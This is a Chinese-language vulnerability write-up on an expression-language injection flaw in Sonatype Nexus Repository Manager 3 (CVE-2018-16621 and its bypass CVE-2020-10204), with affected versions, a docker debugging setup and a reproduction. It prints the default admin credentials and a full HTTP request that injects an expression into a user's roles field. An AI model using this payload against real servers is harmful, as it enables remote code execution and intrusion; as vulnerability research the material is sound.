更多全球网络安全资讯尽在邑安全
简介
Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。
Sonatype Nexus Repository Manager 3中的涉及漏洞的接口为/service/extdirect
,接口需要管理员账户权限进行访问。该接口中处理请求时的UserComponent
对象的注解的校验中使用EL引擎渲染,可以在访问接口时发送精心构造的恶意JSON
数据,造成EL
表达式注入进而远程执行任意命令。
CVE-2018-16621、CVE-2020-10204两个编号触发点和原理相同,可以算作同一漏洞,但CVE-2020-10204为CVE-2018-16621修复后的绕过漏洞。
CVE-2018-16621
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.13
修复版本:Nexus Repository Manager OSS/Pro 3.14
风险:高 -- 7.1
权限:管理员帐号
环境
Github下载Nexus
源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至包含漏洞的 3.13.0-01
分支:
cd nexus-public
git checkout -f -b release-3.13.0-01 remotes/origin/release-3.13.0-01
拉取包含漏洞且与源码版本相同的nexus3镜像:
docker pull sonatype/nexus3:3.13.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.13.0
-p 5050:5050
,为JDWP调试端口映射-v /Users/rai4over/Desktop/nexus-data:/nexus-data
,为nexus
数据目录INSTALL4J_ADD_VM_PARAMS
,为动态调试参数-p 8081:8081
,为Web管理端口映射
IDEA配置远程调试信息
DEBUG端口成功后,发送任意请求可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点
复现
首先登录管理员账户,默认账号密码为admin/admin123
,获取NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1
,然后带着Cookie发送恶意请求:
POST /service/extdirect HTTP/1.1Host: test.com:8081Content-Length: 276Pragma: no-cacheCache-Control: no-cacheX-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://test.com:8081Referer: http://test.com:8081/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NXSESSIONID=97190be5-5ed3-4391-93f4-41d0d6301cd1Connection: close{
"action": "coreui_User","method": "update","data": [{
"userId": "admin","version": "2","firstName": "admin","lastName": "User","email": "admin@example.org","status": "active","roles": ["exp|${222*6}|"]}],"type": "rpc","tid": 11}